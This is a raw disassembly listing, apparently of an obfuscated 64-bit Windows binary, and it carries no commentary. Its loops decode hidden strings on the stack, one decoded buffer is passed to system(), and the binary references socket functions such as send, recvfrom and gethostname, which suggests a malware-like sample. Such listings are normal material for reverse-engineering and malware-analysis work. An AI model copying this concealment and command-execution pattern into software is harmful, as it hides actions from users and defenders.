cmp rbx, rax
je 0x14004b55b
lea rcx, [r8 + 0x1000]
cmp rbx, rcx
je 0x14004b53e
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004b51e
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004b4ff
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14004b4e2
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14004b4b3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004b0a0
mov rbx, rcx
lea r8, [rcx + 0x7a]
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x14004bab2
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14004ba95
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x14004b27e
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x14004b263
lea rcx, [r8 + 2]
cmp rbx, rcx
jb 0x14004b248
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14004b46a
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004b425
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14004b3e9
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14004b3c4
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14004b0a0
mov rbx, rcx
lea r8, [rcx + 4]
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14004b398
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14004b37b
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14004b35c
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x14004b33f
lea rcx, [r8 + 0xa]
cmp rbx, rcx
ja 0x14004b322
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14004b303
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14004b2e0
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14004b2ba
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004b29b
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14004b0a0
mov rbx, rcx
lea r8, [rcx + 0x20]
jmp 0x14004b0a0
lea ecx, [r9 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x27
jmp 0x14004b090
lea ecx, [r9 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
jmp 0x14004b030
sub r9b, 0x2b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x2d
jmp 0x14004afc0
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004b925
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
inc r8
dec r11
inc r11
jmp 0x14004afa5
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
dec r11
inc r11
jmp 0x14004afa5
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004b9ae
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14004b9cf
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
jmp 0x14004b9d2
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004ba05
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
jmp 0x14004ba2e
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14004afa5
sub r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x31
mov byte [rsp + r11 + 0x50], dil
inc r11
jmp 0x14004afa5
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
cmp r8, 0x61
jb 0x14004b3dc
lea ecx, [r9 - 0x4e]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14004b925
lea ecx, [r9 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
cmp rbx, 0x42
jae 0x14004b86f
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14004b7e6
lea ecx, [r9 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x14004b3ff
lea ecx, [r9 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
lea rax, [r8 + rbx]
cmp rax, 8
je 0x14004b88d
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14004b711
lea ecx, [r9 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
jmp 0x14004b43b
sub r9b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14004afa5
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
jmp 0x14004ba2e
lea edx, [r9 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004ba05
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004b9d2
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
jmp 0x14004b9cf
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004b9ae
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14004afa5
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x14004afa5
lea edx, [r9 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004b925
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14004b60c
lea ecx, [r9 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x14004b480
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004b644
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14004afa5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004b66d
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004ba2e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004b696
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004b9d2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004b6ba
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x14004b9ae
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004b6e9
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14004afa5
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004b480
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x14004b925
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004b735
lea ecx, [r9 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x15
jmp 0x14004b925
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004b761
add r9b, 9
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3f
dec r11
inc r11
jmp 0x14004afa5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004b787
add r9b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6d
jmp 0x14004b9cf
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004b7ad
sub r9b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3d
jmp 0x14004b9d2
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004b43b
add r9b, 0x2d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3b
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14004afa5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004b81e
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14004afa5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004b847
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004b9cf
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004b3ff
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x14004b9ae
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004b9ae
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x32]
jmp 0x14004ba05
sub r9b, 0x4b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xd
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14004afa5
sub r9b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4b
jmp 0x14004b9cf
sub r9b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 9
dec r11
inc r11
jmp 0x14004afa5
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
add r9b, 0x75
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x33
add r9b, r10b
mov byte [rsp + r11 + 0x50], r9b
inc r8
dec r11
inc r11
jmp 0x14004afa5
lea ecx, [r11 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5b
inc r8
dec r11
inc r11
jmp 0x14004afa5
lea ecx, [r11 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
dec r11
inc r11
jmp 0x14004afa5
movzx r9d, r11b
lea ecx, [r9 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
sub r9b, 5
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x23
add cl, r9b
add cl, r10b
mov byte [rsp + r11 + 0x50], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004afa5
lea rcx, [r11 + r15]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x53
add dil, cl
movzx r9d, r11b
sub r9b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x79
add r9b, r10b
movzx eax, r9b
mov byte [rsp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rsp + r11 + 0x50], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14004afa5
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
inc dil
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14004afa5
add r9b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x29
jmp 0x14004afa2
sub r9b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7f
jmp 0x14004af92
lea rcx, [rbp + 0x15d1654]
jmp 0x14004bae6
lea rcx, [rbp + 0x9b0617]
jmp 0x14004bae6
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp + 0xb0], 0xe5e2fe83
mov dword [rbp + 0xb4], 0xee8be9fd
mov dword [rbp + 0xb8], 0xf4ece6f2
mov dword [rbp + 0xbc], 0x9c99d3e7
mov word [rbp + 0xc0], 0x219b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc2], xmm0
mov dword [rbp + 0xd2], eax
movabs rsi, 0x80fb48071fa7bbb3
movabs r14, 0x88d588401ce5994b
movabs r12, 0x86def831dd9621e5
movabs r15, 0x82f1d8155ef73319
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x26
jae 0x14004c6b7
movzx r9d, byte [rbp + r11 + 0xb0]
mov edx, r9d
nop dword [rax]
cmp rbx, r11
ja 0x14004c6ae
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004bbbc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x1b
jmp 0x14004bbf6
je 0x14004c643
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004c5ba
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004c58f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004c573
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004c52c
movzx r10d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14004c6a5
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x14004bc2a
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x37
jmp 0x14004bc60
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004c4e5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004c4c2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004c4a6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004c486
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004c1e4
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004c1c8
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004c1a2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004c17c
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14004c160
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14004c13d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004c120
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14004c101
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14004c0e1
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004c0af
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004bc70
lea rbx, [r8 + 3]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14004c688
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14004c66c
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004be56
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14004be3b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14004be20
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14004c05b
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14004c011
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14004bfcd
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14004bfa5
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004bc70
lea rbx, [r8 + 0xa]
lea r8, [rbx + 1]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14004bf73
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14004bf53
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14004bf34
lea rcx, [r8 + 6]
cmp rbx, rcx
ja 0x14004bf17
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14004bef7
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14004bedb
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14004beb5
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14004be8f
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004be73
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14004bc70
mov rbx, rcx
lea r8, [rcx + 8]
jmp 0x14004bc70
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
jmp 0x14004bc60
lea ecx, [r10 - 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x73
jmp 0x14004bc00
add r10b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x3d
jmp 0x14004bb90
lea edx, [r10 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x48
jmp 0x14004c4fc
add r10b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
inc r8
dec r11
inc r11
jmp 0x14004bb73
sub r10b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14004bb73
lea edx, [r10 + 0x46]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004c547
sub r10b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
add rbx, r8
jmp 0x14004c5a1
add r10b, 0x7a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x56
jmp 0x14004c5a1
lea edx, [r10 + 0x14]
movzx eax, r9b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14004c5d0
sub r10b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004c5fc
add r10b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004bb73
sub r10b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7f
mov byte [rbp + r11 + 0xb0], dil
inc r11
jmp 0x14004bb73
lea edx, [r10 + 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4b
add dil, dl
cmp r8, 0x3e8
jb 0x14004bfbd
lea edx, [r10 + 0x52]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x7c]
jmp 0x14004c4ff
lea edx, [r10 - 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x15
add dil, dl
cmp rbx, 0x61
jae 0x14004c44b
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x14004c374
lea edx, [r10 + 0x56]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5a
jmp 0x14004bfe4
lea edx, [r10 - 0x69]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x21
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x14004c46a
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14004c2e7
lea edx, [r10 - 0x59]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6f
jmp 0x14004c028
add r10b, 0x1a
movzx eax, r9b
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004bb73
sub r10b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004c5fc
lea edx, [r10 + 0x4e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x22
add dil, dl
jmp 0x14004c5d0
sub r10b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x14004c5a1
sub r10b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14004c5a1
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004c547
sub r10b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14004bb73
add r10b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x14004bb73
lea edx, [r10 - 0x16]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x66
jmp 0x14004c4fc
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14004c209
lea edx, [r10 - 0x4d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1b
jmp 0x14004c072
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004c244
add r10b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004bb73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004c26d
sub r10b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5c
add dil, r10b
jmp 0x14004c5fc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004c299
sub r10b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14004c5a1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004c2be
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004c547
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004c075
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004c4fc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004c30c
lea edx, [r10 + 0xd]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5b
jmp 0x14004c4fc
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004c338
sub r10b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
dec r11
inc r11
jmp 0x14004bb73
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004c02b
add r10b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x55
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004bb73
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004c3ac
sub r10b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004bb73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004c3d4
lea edx, [r10 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14004c5d0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004c3fd
add r10b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
add rbx, r8
jmp 0x14004c5a1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004c422
lea edx, [r10 - 0x46]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x16
jmp 0x14004c547
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004bfe7
lea edx, [r10 - 0x14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x74
jmp 0x14004c4fc
lea edx, [r10 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
add dil, r9b
jmp 0x14004c547
lea edx, [r10 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004c5d0
sub r10b, 0x53
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x45
add rbx, r8
jmp 0x14004c5a1
lea edx, [r10 + 0x47]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xf
jmp 0x14004c547
sub r10b, 0x1f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x27
dec r11
inc r11
jmp 0x14004bb73
lea edx, [r10 + 0x15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6d
add dil, dl
add r10b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x23
add r9b, r10b
mov byte [rbp + r11 + 0xb0], r9b
inc r8
dec r11
inc r11
jmp 0x14004bb73
movzx r10d, r11b
lea edx, [r10 + 0x17]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x5f
add dil, dl
add r10b, 0x6b
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x13
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0xb0], cl
add rbx, r8
jmp 0x14004c5a1
lea ecx, [r11 - 0x4f]
